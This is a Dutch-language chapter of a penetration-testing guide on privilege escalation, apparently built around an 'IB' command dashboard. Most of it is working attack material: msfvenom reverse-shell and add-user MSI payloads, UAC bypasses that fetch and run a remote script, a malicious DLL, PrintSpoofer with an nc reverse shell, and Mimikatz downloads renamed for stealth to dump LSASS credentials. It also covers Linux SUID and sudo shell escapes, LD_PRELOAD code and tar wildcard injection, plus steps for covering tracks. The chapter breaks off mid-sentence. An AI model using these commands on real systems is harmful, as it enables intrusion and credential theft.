Privilege Escalatie

Van loopjongen tot directeur

Er is een ongeschreven wet in de westerse samenleving die stelt dat je positie op de maatschappelijke ladder evenredig is met de omvang van je ego en omgekeerd evenredig met je kennis van wat de mensen onder je eigenlijk doen. De liftbediende weet precies hoe het gebouw functioneert. De CEO weet niet eens waar de lift is. En toch heeft die laatste alle sleutels.

In computersystemen werkt het op een verontrustend vergelijkbare manier. Je landt op een machine als onbeduidende gebruiker – de digitale equivalent van de stagiair die koffie haalt – en vervolgens klim je, stap voor stap, naar een positie waarop je alles mag, alles kan, en alles kunt vernietigen. Het verschil met de echte wereld is dat je er op een computer misschien twintig minuten over doet in plaats van twintig jaar. En je hoeft niet eens te netwerken op verjaardagen.

Privilege escalatie is, in essentie, het vinden van een manier om rechten te verkrijgen die je niet zou moeten hebben. En het mooie – of het deprimerende, afhankelijk van je perspectief – is dat de meeste systemen je dit op een zilveren dienblad aanbieden. Niet omdat de technologie inherent slecht is, maar omdat de mensen die het beheren het equivalent zijn van een nachtwaker die de sleutelbos aan de deurkruk laat hangen.

Laten we het even cynisch formuleren: “Iedereen heeft local admin. Niemand weet waarom. En als je vraagt waarom, krijg je het antwoord: ‘Dat hebben we altijd zo gedaan.’ Dat is geen beleid. Dat is een bekentenis.”

Laten we eens kijken hoe je van loopjongen tot directeur klimt, zowel op Windows als op Linux.

Deel 1: Windows Privilege Escalation

Windows privilege escalation is een vakgebied dat je met recht een ambacht kunt noemen. Het vereist geduld, systematisch zoeken, en een intieme kennis van de vele – je zou bijna zeggen eindeloze – manieren waarop Windows verkeerd geconfigureerd kan worden. Het is alsof je in een oud Victoriaans huis komt wonen en ontdekt dat elke kamer een verborgen gangpad heeft. De vorige bewoners wisten het, maar ze hebben het nooit aan iemand verteld.

6.1 Lokale enumeratie: de basis

Voordat je ergens naartoe kunt klimmen, moet je weten waar je staat. En precies hier begint elke privilege escalation aanval: met enumeratie.

De fundamentele vragen zijn simpel:

1. Wie ben ik?
2. Wat mag ik?
3. Wat draait er op deze machine?
4. Wat is er verkeerd geconfigureerd?

Laten we beginnen met de basis:

:: Wie ben ik en welke groepen?
whoami
whoami /priv
whoami /groups
net user %USERNAME%

:: Lokale groepen en leden
net localgroup
net localgroup Administrators

:: Systeem informatie
systeminfo
hostname

De output van whoami /priv is goud waard. Bepaalde privileges zijn directe escalatiepaden:

Dit is je routekaart. Als je SeImpersonatePrivilege ziet, weet je dat Potato- aanvallen een optie zijn. Als je SeDebugPrivilege ziet, glimlach je naar Mimikatz. Het is als een menukaart, maar dan van je escalatieopties.

Services enumereren

Services zijn een van de meest voorkomende escalatiepaden op Windows. Ze draaien vaak als SYSTEM, en als je een writable binary, een unquoted path, of een verkeerd geconfigureerde service vindt, is het feest.

:: Alle services en hun paden
sc query state= all
wmic service get name,displayname,pathname,startmode

:: Specifiek: zoek auto-start services buiten C:\Windows
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\"

# PowerShell variant - meer details
Get-WmiObject win32_service | Select-Object Name, StartMode, PathName, StartName |
    Where-Object { $_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows\*" } |
    Format-Table -AutoSize

Scheduled tasks

Scheduled tasks zijn de cron jobs van Windows, maar dan met de charme van een bureaucratische nachtmerrie:

:: Alle taken met details
schtasks /query /fo LIST /v

:: Filter op wat interessant is
schtasks /query /fo LIST /v | findstr /i "task to run\|run as user"

Zoek taken die als SYSTEM of als een geprivilegieerde gebruiker draaien, en waarvan het script of binary writable is voor jouw gebruiker.

Registry jacht

De Windows registry is een labyrint van configuratie, en midden in dat labyrint liggen soms de sleutels tot het koninkrijk – letterlijk:

:: Zoek naar wachtwoorden in de registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

:: Autologon credentials (een klassieker)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

:: Opgeslagen credentials
cmdkey /list

:: Zoek naar interessante software-configuratie
reg query "HKLM\SOFTWARE" /s | findstr /i "password\|passwd\|pwd"

Autologon credentials in de registry zijn als het wachtwoord op een Post-it aan de monitor. Iedereen die kijkt kan het lezen. Maar niemand kijkt, want niemand denkt dat iemand zo dom zou zijn. En toch.

IB Tip: Het IB enum_privesc_local command in de Commands-pagina combineert PowerUp, WinPEAS en handmatige checks. Het is je one-stop-shop voor lokale enumeratie. Gebruik het als startpunt voor elke Windows privilege escalation.

6.2 WinPEAS: de alziende

Als je handmatig enumereren vergelijkt met het doorbladeren van een telefoonboek, dan is WinPEAS het equivalent van Google. Het doorzoekt alles, markeert alles, en presenteert het in kleurrijke output die eruitziet alsof een regenboog op je terminal heeft overgegeven. Maar het werkt verdomd goed.

WinPEAS (Windows Privilege Escalation Awesome Scripts) is een enumeratietool die honderden privilege escalation checks uitvoert in een keer. Het zoekt naar verkeerde serviceconfiguraties, writable paden, opgeslagen credentials, registry- misconfiguraties, en nog veel meer.

Tool leveren via IB

Het eerste probleem: je moet WinPEAS op het target krijgen. IB heeft hier een kant-en-klaar command voor.

IB Command: get_winpeasx64 Downloadt WinPEAS naar het target via de IB webserver.

# IB get_winpeasx64 command
powershell -c (new-object System.Net.WebClient).DownloadFile(
    'http://10.0.0.1/tools/winPEASx64.exe',
    'c:\windows\tasks\winPEASx64.exe'
)

Merk op dat we C:\Windows\Tasks gebruiken als landingszone. Dit is een veelgebruikte tactiek: de map bestaat altijd, is writable voor normale gebruikers, en wordt minder in de gaten gehouden dan de desktop of de Downloads-map. Het is het digitale equivalent van je spullen verstoppen in de bezemkast.

WinPEAS draaien

:: Volledige scan
.\winPEASx64.exe

:: Alleen service-informatie
.\winPEASx64.exe servicesinfo

:: Alleen gebruikersinformatie
.\winPEASx64.exe userinfo

De output is enorm. WinPEAS kleurt kritieke bevindingen rood, verdachte zaken geel, en informatieve items groen. Waar je specifiek naar zoekt:

• AlwaysInstallElevated – zie sectie 6.3
• Unquoted Service Paths – zie sectie 6.5
• Writable Service Binaries – directe escalatie
• Modifiable Service Configs – directe escalatie
• Credentials in Files/Registry – zie sectie 6.1
• Interesting Privileges – zie privileges-tabel hierboven

IB Tip: De Commands-pagina in het IB dashboard (/dashboard/commands) toont alle beschikbare commands. Klik op get_winpeasx64 om het download-command te kopieren en op het target te plakken. Geen gedoe met typen.

6.3 AlwaysInstallElevated

Dit is een van die Group Policy-instellingen waarvan je je afvraagt welke beslissingsboom er precies toe heeft geleid dat iemand dacht: “Ja, laten we iedere gebruiker in staat stellen om software als SYSTEM te installeren. Wat kan er misgaan?”

Het antwoord is: alles. Alles kan er misgaan.

AlwaysInstallElevated is een policy die, wanneer ingeschakeld in zowel HKCU als HKLM, elke .msi installer laat draaien met NT AUTHORITY\SYSTEM rechten. Het maakt niet uit wie je bent. Het maakt niet uit wat de MSI doet. Het is alsof je elke willekeurige persoon op straat de sleutel geeft tot de kluizen van de bank, op voorwaarde dat ze een doos vasthouden.

Detectie

IB Command: privesc_alwaysinstall Detecteert en exploiteert AlwaysInstallElevated.

:: Check beide registry keys - BEIDE moeten op 1 staan
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Als beide waarden 0x1 teruggeven, is de policy actief. Je kunt ook PowerUp gebruiken:

# Via PowerUp
Import-Module .\PowerUp.ps1
Get-RegistryAlwaysInstallElevated

Exploitatie

Het exploitatiepad is brutaal eenvoudig:

Stap 1: Genereer een malicious MSI op je aanvalsmachine:

# Reverse shell MSI
msfvenom -p windows/x64/shell_reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 \
    -f msi -o evil.msi

Stap 2: Upload naar het target:

certutil -urlcache -f http://10.0.0.1/evil.msi C:\Windows\tasks\evil.msi

Stap 3: Installeer – stil, zonder UI, als SYSTEM:

msiexec /quiet /qn /i C:\Windows\tasks\evil.msi

De flags /quiet /qn zorgen ervoor dat er geen enkele dialoog verschijnt. Geen “Wilt u installeren?”, geen voortgangsbalk, niets. Stille escalatie in drie commando’s.

Er is ook een alternatieve payload die direct een gebruiker toevoegt:

# Gebruiker toevoegen via MSI
msfvenom -p windows/adduser USER=hacker PASS=Hacked123! -f msi -o adduser.msi

Opruimen

Na afloop ruim je je sporen op:

msiexec /quiet /qn /x C:\Windows\tasks\evil.msi
del C:\Windows\tasks\evil.msi

IB Tip: AlwaysInstallElevated wordt ook gevonden door Invoke-AllChecks van PowerUp (onderdeel van het enum_privesc_local command). Het is een van de eerste dingen die je checkt na landing.

6.4 UAC Bypass

User Account Control, of UAC, is Microsoft’s antwoord op de vraag “Hoe beschermen we gebruikers tegen zichzelf?” Het antwoord bleek te zijn: door ze elke vijf minuten een popup te laten wegklikken totdat ze het concept van beveiliging associeren met irritatie, en elke prompt reflexmatig goedkeuren zonder te lezen.

UAC is bedoeld als beschermingslaag tussen een administrator-account en daadwerkelijke administrator-rechten. Zelfs als je lid bent van de lokale Administrators-groep, draaien je processen standaard met beperkte rechten. Je moet expliciet “Run as administrator” kiezen of een UAC-prompt goedkeuren om elevated rechten te krijgen.

Het probleem? Er zijn tientallen manieren om die prompt te omzeilen.

De aanvalsvereiste

UAC bypass werkt alleen als je gebruiker al lid is van de Administrators- groep. Het is geen escalatie van standaard-gebruiker naar admin – het is escalatie van admin-zonder-elevation naar admin-met-elevation. Een subtiel maar belangrijk verschil.

Check het UAC-niveau

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

De waarde vertelt je hoe streng UAC is geconfigureerd:

De standaardinstelling (5) is kwetsbaar voor de meeste bypass-methoden. Alleen “Always Notify” (2) is enigszins bestand, en zelfs dat is geen garantie.

IB Command: privesc_uac_bypass Vier methoden voor UAC bypass op Windows 10/11.

Methode 1: fodhelper.exe (Windows 10/11)

fodhelper.exe is een auto-elevating binary – het wordt automatisch met elevated rechten gestart zonder UAC-prompt. Door een registry key te manipuleren, kun je fodhelper een willekeurig commando laten uitvoeren:

:: Stel het commando in dat uitgevoerd moet worden
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f

:: Trigger de bypass
fodhelper.exe

:: Opruimen na gebruik
REG DELETE HKCU\Software\Classes\ms-settings /f

Wat hier gebeurt: fodhelper.exe kijkt naar de registry voor de handler van het ms-settings protocol. Door HKCU\Software\Classes\ms-settings te overschrijven, redirect je de uitvoering naar je eigen commando. En omdat fodhelper.exe auto-elevated is, draait jouw commando ook elevated.

Het is alsof je de butler vertelt dat de nieuwe instructies van de heer des huizes zijn. De butler controleert niet. De butler voert uit.

Methode 2: eventvwr.exe (Windows 10)

Hetzelfde principe, maar via Event Viewer:

REG ADD HKCU\Software\Classes\mscfile\Shell\Open\command /d "cmd.exe" /f
REG ADD HKCU\Software\Classes\mscfile\Shell\Open\command /v DelegateExecute /t REG_SZ /f

eventvwr.exe

:: Opruimen
REG DELETE HKCU\Software\Classes\mscfile /f

Methode 3: computerdefaults.exe met payload

Deze variant combineert de bypass met het laden van een remote payload:

REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/amsi-shell.ps1')" /f
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f

computerdefaults.exe

Dit is de variant die je in de praktijk het meest zult gebruiken: UAC bypass gecombineerd met een download cradle die je payload binnenhaalt. De payload draait elevated, met AMSI bypass, in een enkele stap.

Methode 4: UACME

Voor als je het serieus wilt aanpakken, bestaat UACME – een verzameling van meer dan 70 UAC bypass methoden:

:: Methode 23 met custom payload
Akagi64.exe 23 C:\Windows\tasks\payload.exe

IB Tip: fodhelper.exe is de meest betrouwbare bypass op moderne Windows. Werkt op Windows 10 en 11, en wordt zelden gepatcht omdat Microsoft UAC niet als security boundary beschouwt. Ja, je leest het goed. Microsoft zegt letterlijk dat UAC geen beveiligingsgrens is. Het is een “convenience feature.” Stel je voor dat de fabrikant van je voordeurslot zegt: “Het is eigenlijk geen beveiliging, het is een gemak.”

6.5 Unquoted Service Paths

Dit is misschien wel de meest elegante misconfiguratie in de Windows-wereld. Het is zo subtiel dat je het drie keer moet lezen om te begrijpen waarom het een probleem is, en daarna sla je jezelf voor het hoofd dat het zo simpel is.

Wanneer Windows een service start, zoekt het naar het executable bestand via het pad dat in de service-configuratie staat. Als dat pad spaties bevat en niet tussen aanhalingstekens staat, interpreteert Windows het pad stap voor stap:

Stel, het service-pad is:

C:\Program Files\My Application\Service App\service.exe

Windows probeert achtereenvolgens:

1. C:\Program.exe
2. C:\Program Files\My.exe
3. C:\Program Files\My Application\Service.exe
4. C:\Program Files\My Application\Service App\service.exe

Als je schrijfrechten hebt op een van die tussenliggende locaties, kun je een malicious executable plaatsen met de juiste naam, en Windows start die in plaats van de originele service – als SYSTEM.

Detectie

:: Zoek unquoted service paths
wmic service get name,displayname,pathname,startmode |
    findstr /i "auto" |
    findstr /i /v "C:\Windows\\" |
    findstr /i /v """

# Via PowerUp
Import-Module .\PowerUp.ps1
Get-ServiceUnquoted -Verbose

Exploitatie

:: Stel: kwetsbaar pad is C:\Program Files\Vulnerable App\service.exe
:: Check schrijfrechten op C:\Program Files\Vulnerable App\
icacls "C:\Program Files\Vulnerable App\"

:: Plaats payload (vervangt "service" in "Vulnerable App\service.exe")
:: Windows probeert eerst: C:\Program Files\Vulnerable.exe
copy payload.exe "C:\Program Files\Vulnerable.exe"

:: Herstart de service
sc stop VulnerableService
sc start VulnerableService

Dit is een van die bugs die je alleen kunt beschrijven met een mengeling van verwondering en ongeloof. Het pad-parsing gedrag bestaat al sinds Windows NT. Het is al meer dan dertig jaar oud. En toch verschijnt het nog steeds in pentest-rapporten. Keer op keer. Alsof niemand het memo heeft gelezen. Of alsof het memo zelf een unquoted path had.

6.6 DLL Hijacking

DLL hijacking is het concept waarbij je een kwaadaardige DLL plaatst op een locatie waar een applicatie eerder zoekt dan de locatie van de legitieme DLL. Het is het digitale equivalent van een wegomleiding: je stuurt het verkeer via jouw straat in plaats van de snelweg.

Windows zoekt DLL’s in een specifieke volgorde (de DLL Search Order):

1. De directory van de applicatie
2. C:\Windows\System32
3. C:\Windows\System
4. C:\Windows
5. De huidige werkdirectory
6. Directories in de PATH variabele

Als een applicatie een DLL laadt die niet bestaat in de eerste directories maar wel later in het zoekpad, en jij schrijfrechten hebt op een eerdere directory, dan kun je een malicious DLL plaatsen die als eerste gevonden wordt.

Detectie

Het vinden van hijackable DLL’s is een kunst. Process Monitor (ProcMon) is je beste vriend:

1. Start ProcMon met admin rechten
2. Filter: Operation = CreateFile, Result = NAME NOT FOUND, Path ends with .dll
3. Start de kwetsbare applicatie of service
4. Observeer welke DLL's niet gevonden worden

Of, minder elegant maar sneller:

# Zoek writable directories in PATH
$env:PATH -split ';' | ForEach-Object {
    if (Test-Path $_) {
        $acl = Get-Acl $_
        Write-Output "$_ -> $($acl.AccessToString)"
    }
}

Exploitatie

// malicious.c - Minimale DLL die een reverse shell start
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("cmd /c C:\\Windows\\tasks\\payload.exe");
    }
    return TRUE;
}

# Compileer op je aanvalsmachine
x86_64-w64-mingw32-gcc malicious.c -shared -o malicious.dll

Plaats de DLL op de juiste locatie, herstart de service of applicatie, en geniet van je elevated shell.

IB Tip: DLL hijacking is vooral interessant bij services die als SYSTEM draaien en bij applicaties die bij opstarten worden geladen. Combineer met WinPEAS en PowerUp om writable directories en ontbrekende DLL’s te vinden.

6.7 Token Impersonation

Token impersonation is het proces waarbij je de beveiligingstoken van een andere gebruiker “steelt” en deze gebruikt om acties uit te voeren in diens naam. Het is alsof je iemands naamkaartje afpakt bij een conferentie en daarmee de VIP-lounge binnenloopt. De bewaker controleert het kaartje, niet je gezicht.

Windows gebruikt tokens om bij te houden wie wat mag. Er zijn twee soorten:

• Delegation tokens: gecreeerd bij interactieve logons (RDP, console, runas). Volledige rechten.
• Impersonation tokens: gecreeerd bij netwerklogons (drive mappings, web authenticatie). Beperktere rechten.

Delegation tokens zijn de heilige graal. Als een domain admin ooit heeft ingelogd op de machine waar je je bevindt – via RDP, via runas, via wat dan ook – dan kan zijn token nog steeds in het geheugen rondzweven als een geest die weigert te vertrekken.

Vereiste

Je hebt SeImpersonatePrivilege of SeAssignPrimaryTokenPrivilege nodig. Service accounts (IIS, MSSQL, etc.) hebben deze standaard.

IB Command: cred_token_impersonate Vier methoden voor token impersonation.

Methode 1: Rubeus (Kerberos tickets)

:: Bekijk beschikbare tickets
.\Rubeus.exe triage

:: Dump een specifiek ticket
.\Rubeus.exe dump /luid:0x12345 /nowrap

:: Injecteer het ticket in je sessie
.\Rubeus.exe ptt /ticket:BASE64_TICKET_HERE

Methode 2: Incognito

Incognito is een klassiek tool dat al bestond voordat de meeste pentesters geboren waren (in computer-jaren, tenminste):

:: Lijst alle beschikbare tokens
.\incognito.exe list_tokens -u

:: Impersonate een specifieke gebruiker
.\incognito.exe execute -c "DOMAIN\Administrator" cmd.exe

Methode 3: Mimikatz token elevation

# Verhoog naar SYSTEM en dump credentials
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords"'

# Impersonate een specifieke domain admin
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate /domainadmin" "token::run /process:cmd.exe"'

Methode 4: PowerShell verificatie

Om te bevestigen dat impersonation is gelukt:

# Wie ben ik nu?
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name

IB Tip: Delegation tokens zijn het waardevolst – ze worden aangemaakt bij interactieve logons. Impersonation tokens bij netwerklogons. Zoek altijd eerst naar delegation tokens van geprivilegieerde gebruikers.

6.8 PrintSpoofer en Potato-aanvallen

Hier komen we bij een familie van aanvallen die, qua naamgeving, klinkt als het menu van een fastfoodrestaurant. RottenPotato. JuicyPotato. SweetPotato. HotPotato. RoguePotato. GodPotato. PrintSpoofer. Het is alsof de beveiligingscommunity haar tools vernoemde na een avond uit bij een frietkraam.

Maar achter de belachelijke namen schuilt een serieuze aanvalsfamilie. Al deze tools exploiteren dezelfde fundamentele zwakte: als je SeImpersonatePrivilege hebt (wat service accounts standaard hebben), kun je Windows misleiden om als SYSTEM te authenticeren naar jouw proces, waarna je die authenticatie “vangt” en hergebruikt.

Hoe werkt het?

Het principe is in elke variant hetzelfde:

1. Je service account heeft SeImpersonatePrivilege
2. Je trikt een SYSTEM-proces om te authenticeren naar jouw listener
3. Je vangt het SYSTEM token
4. Je impersonated dat token
5. Je bent nu NT AUTHORITY\SYSTEM

Het verschil zit in hoe je stap 2 uitvoert. PrintSpoofer gebruikt de Print Spooler service. Potato-varianten gebruiken DCOM, BITS, of andere Windows-services.

PrintSpoofer

PrintSpoofer is de modernste en meest betrouwbare variant. Het misbruikt de Print Spooler service om een named pipe te creeren waarop SYSTEM authenticated.

IB Command: get_printspoofer32 Download PrintSpoofer naar het target.

# Download via IB
powershell -c (new-object System.Net.WebClient).DownloadFile(
    'http://10.0.0.1/tools/PrintSpoofer32.exe',
    'c:\windows\tasks\PrintSpoofer32.exe'
)

Uitvoering:

:: Direct een elevated cmd openen
cd C:\Windows\tasks
PrintSpoofer64.exe -i -c cmd

:: Of een reverse shell
PrintSpoofer64.exe -c "C:\Windows\tasks\nc.exe 10.0.0.1 443 -e cmd.exe"

IB Tip: Het IB printspoofer command combineert download en uitvoering in een stap:

cd C:\Windows\tasks && certutil -urlcache -f http://127.0.0.1/tools/PrintSpoofer64.exe print.exe && print.exe -i -c cmd

Downloaden, hernoemen (voor stealth), en direct uitvoeren.

RottenPotato / JuicyPotato

De oudere varianten, maar nog steeds relevant op oudere Windows-versies:

:: Download via IB
powershell -c (new-object System.Net.WebClient).DownloadFile(
    'http://10.0.0.1/tools/rottenpotato.exe',
    'c:\windows\tasks\rottenpotato.exe'
)

:: Uitvoering
.\rottenpotato.exe

JuicyPotato biedt meer controle:

:: JuicyPotato met specifieke CLSID en poort
JuicyPotato.exe -l 1337 -p c:\windows\tasks\payload.exe -t * -c {CLSID}

Wanneer welke Potato?

IB Tip: PrintSpoofer is je go-to voor moderne Windows. Valt hij uit? Probeer GodPotato. Op oude systemen: JuicyPotato.

Deel 2: Mimikatz – het Zwitserse zakmes van credential theft

Als er een tool is die het gezicht van offensieve beveiliging heeft gedefinieerd in het afgelopen decennium, dan is het Mimikatz. Geschreven door Benjamin Delpy – een Fransman die, met de nonchalance van iemand die net even op iets interessants stuitte, de fundamenten van Windows-authenticatie heeft opengebroken.

Mimikatz is technisch gezien “gewoon” een tool dat credentials uit het geheugen haalt. Maar dat is alsof je zegt dat een nucleaire reactor “gewoon” water verwarmt. Het doet het, ja, maar de implicaties zijn aanzienlijk.

6.9 Mimikatz op het target krijgen

IB Commands: get_mimikatz en mimikatz Twee varianten om Mimikatz te leveren.

Variant 1: PowerShell download

# IB get_mimikatz
powershell -c (new-object System.Net.WebClient).DownloadFile(
    'http://10.0.0.1/tools/mimikatz.exe',
    'c:\windows\tasks\mimikatz.exe'
)

Variant 2: certutil download (vaak minder gedetecteerd)

# IB mimikatz command
cd C:\Windows\tasks && certutil -urlcache -f http://127.0.0.1/tools/mimikatz.exe mimi.exe

Merk op dat de mimikatz variant het bestand hernoemt naar mimi.exe. Dit is basic operational security – AV en EDR scannen niet alleen bestands- inhoud maar ook bestandsnamen. mimikatz.exe triggert meer alarmen dan mimi.exe. Het is niet waterdicht, maar elke laag helpt.

Variant 3: In-memory via PowerShell (Invoke-Mimikatz)

# Download en voer uit zonder op disk te schrijven
IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/invoke-mimikatz.ps1')
Invoke-Mimikatz

IB Tip: Het IB psmimikatz command downloadt Mimikatz vanuit de mini-tools directory (/tools/mini/):

powershell -c (new-object System.Net.WebClient).DownloadFile(
    'http://127.0.0.1/tools/mimi/mimikatz.exe',
    'c:\windows\tasks\mimi.exe'
)

De mini-directory bevat kleinere of geobfusceerde versies.

6.10 Credential dumping met Mimikatz

Nu je Mimikatz op het target hebt, is het tijd om credentials te oogsten. Dit is het moment waarop de pentest van “technische oefening” verandert in “existentiele crisis voor de systeembeheerder.”

Basisgebruik

:: Start Mimikatz
mimikatz.exe

:: Verkrijg debug privileges (vereist admin/SYSTEM)
privilege::debug

:: Dump logon wachtwoorden uit geheugen (LSASS)
sekurlsa::logonpasswords

:: Dump Kerberos tickets
sekurlsa::tickets /export

:: Dump wachtwoord hashes uit SAM
lsadump::sam

:: Dump cached domain credentials
lsadump::cache

Wat krijg je terug?

sekurlsa::logonpasswords geeft je, afhankelijk van de Windows-versie en configuratie:

Op oudere systemen (of systemen waar WDigest authentication aan staat) krijg je plaintext wachtwoorden. Op moderne systemen krijg je NTLM hashes, wat nog steeds nuttig is voor Pass-the-Hash en Kerberos-aanvallen.

WDigest forceren (als je al SYSTEM bent)

Op moderne Windows is WDigest standaard uitgeschakeld. Maar als je al SYSTEM bent, kun je het weer aanzetten en wachten tot iemand opnieuw inlogt:

:: Schakel WDigest in
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

:: Wacht tot iemand inlogt, dan opnieuw dumpen
sekurlsa::logonpasswords

:: Vergeet niet op te ruimen
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

SafetyKatz: Mimikatz maar dan stiekem

SafetyKatz is een variant die Mimikatz in-memory uitvoert via een minidump van LSASS, waardoor het minder detecteerbaar is:

# Download via IB
powershell -c (new-object System.Net.WebClient).DownloadFile(
    'http://10.0.0.1/tools/SafetyKatz.exe',
    'c:\windows\tasks\SafetyKatz.exe'
)

# Uitvoeren
.\SafetyKatz.exe

IB Tip: IB heeft een get_safetykatz command. SafetyKatz is vaak de betere keuze dan standaard Mimikatz in omgevingen met EDR, omdat het de LSASS dump indirect uitvoert.

Deel 3: Linux Privilege Escalation

Na de barokke complexiteit van Windows voelt Linux privilege escalation aan als een verfrissende wandeling door een overzichtelijk park. Niet omdat het minder gevaarlijk is – integendeel – maar omdat de patronen helderder zijn en de mechanismen eleganter.

Op Linux zijn er in essentie vijf categorieen van privilege escalation:

1. SUID/SGID binaries – programma’s die altijd met root-rechten draaien
2. Sudo misconfiguraties – te brede sudo-regels
3. Cron jobs – geplande taken die als root draaien met writable scripts
4. Capabilities – fijnmazige privileges op binaries
5. Kernel exploits – de nucleaire optie

6.11 SUID binaries: de eeuwige zonde

SUID (Set User ID) is een permissie-bit die ervoor zorgt dat een binary altijd draait met de rechten van de eigenaar, ongeacht wie het uitvoert. Als de eigenaar root is en het binary SUID heeft, draai je als root. Zo simpel. Zo gevaarlijk.

IB Command: privesc_linux_cron Bevat ook SUID en capability checks.

Zoeken naar SUID binaries

# Vind alle SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Vind SGID binaries
find / -perm -2000 -type f 2>/dev/null

De output is een lijst van binaries. De meeste zijn legitiem (passwd, ping, su). Maar sommige zijn dat niet. En dat is waar GTFOBins om de hoek komt kijken.

GTFOBins is een database van Unix-binaries die misbruikt kunnen worden als ze SUID hebben, sudo-rechten hebben, of andere speciale permissies. Het is het kookboek voor Linux privilege escalation.

Veelvoorkomende SUID exploits

# nmap (oude versies met --interactive mode)
nmap --interactive
!sh

# find
find . -exec /bin/sh -p \;

# vim
vim -c ':!sh'

# python
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# bash (als bash zelf SUID heeft)
bash -p

# cp -- kopieer een SUID bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
/tmp/rootbash -p

De -p flag bij bash en sh is cruciaal. Zonder die flag dropt de shell de SUID privileges. Met die flag behoudt hij ze. Het is een detail dat het verschil maakt tussen een shell als jezelf en een shell als root.

6.12 Sudo misconfigurations

sudo -l is een van de eerste commando’s die je draait na landing op een Linux-machine. Het toont welke commando’s je als andere gebruikers (meestal root) mag uitvoeren:

sudo -l

Waar je naar zoekt:

(ALL) NOPASSWD: /usr/bin/vim
(ALL) NOPASSWD: /usr/bin/less
(ALL) NOPASSWD: /usr/bin/find
(ALL) NOPASSWD: ALL

Dat laatste is het jackpot-scenario. Maar zelfs individuele binaries zijn vaak genoeg:

# vim met sudo -> shell escape
sudo vim -c ':!sh'

# less met sudo -> shell escape
sudo less /etc/passwd
# In less, typ: !sh

# find met sudo -> command execution
sudo find . -exec /bin/sh \;

# awk met sudo
sudo awk 'BEGIN {system("/bin/sh")}'

# man met sudo
sudo man man
# In man, typ: !sh

LD_PRELOAD aanval

Als de sudo-configuratie env_keep bevat met LD_PRELOAD, is het feest:

// pe.c - LD_PRELOAD exploit
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0, 0, 0);
    system("/bin/bash -p");
}

# Compileer
gcc -shared -fPIC -o /tmp/pe.so pe.c -nostartfiles

# Uitvoeren via sudo met LD_PRELOAD
sudo LD_PRELOAD=/tmp/pe.so /usr/bin/programma

Dit werkt omdat LD_PRELOAD een shared library laadt voordat het eigenlijke programma start. En als dat programma als root draait via sudo, draait jouw library ook als root.

6.13 Cron jobs: de vergeten tijdbommen

Cron jobs zijn geplande taken die op vaste tijden draaien. Ze zijn de Linux-variant van “ik schrijf het wel even in mijn agenda” – behalve dat niemand ooit zijn agenda controleert, en de taken jarenlang blijven draaien met rechten die al lang hadden moeten worden ingetrokken.

IB Command: privesc_linux_cron Uitgebreide cron, SUID en capability enumeratie.

Enumeratie

# Systeem cron jobs
cat /etc/crontab

# Cron directories
ls -la /etc/cron.*
ls -la /var/spool/cron/crontabs/

# Zoek writable scripts die als root draaien
find / -path /proc -prune -o -writable -type f 2>/dev/null |
    grep -E '(\.sh|\.py|\.pl)'

Als je een script vindt dat: 1. Door root via cron wordt uitgevoerd 2. Writable is voor jouw gebruiker

Dan is het simpel: pas het script aan, wacht, en je hebt root.

Process monitoring (als je geen cron kunt lezen)

Soms heb je geen leesrechten op crontab, maar draaien er toch periodieke taken. pspy is een tool die nieuwe processen monitort zonder root-rechten:

# Handmatige variant
watch -n 1 'ps aux | grep -v watch'

# Of download pspy
wget http://10.0.0.1/tools/pspy64
chmod +x pspy64
./pspy64

Wildcard injection (tar)

Dit is een van de meest elegante Linux exploits. Als een cron job draait:

tar czf /tmp/backup.tar.gz *

Dan kun je de wildcard * misbruiken door bestanden te maken met namen die tar als flags interpreteert:

# Maak het exploit script
echo '#!/bin/bash' > shell.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> shell.sh
chmod +x shell.sh

# Maak "bestanden" die tar als flags leest
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"

# Wacht tot cron draait, dan:
/tmp/rootbash -p

Wat hier gebeurt: als tar de directory leest, ziet het de bestanden --checkpoint=1 en --checkpoint-action=exec=sh shell.sh als command-line argumenten. Het voert shell.sh uit met de rechten van het cron-proces – root.

Het is als een bediende die de post sorteert en een brief opent die begint met “Voer de volgende instructies uit.” En dat doet hij dan ook.

6.14 Capabilities

Linux capabilities zijn een fijnmaziger alternatief voor SUID. In plaats van “alles of niets” kun je specifieke privileges toekennen aan een binary. Maar als je de verkeerde capability toewijst, is het effect hetzelfde.

# Zoek binaries met capabilities
getcap -r / 2>/dev/null

De gevaarlijkste is cap_setuid. Als Python of Perl deze capability heeft:

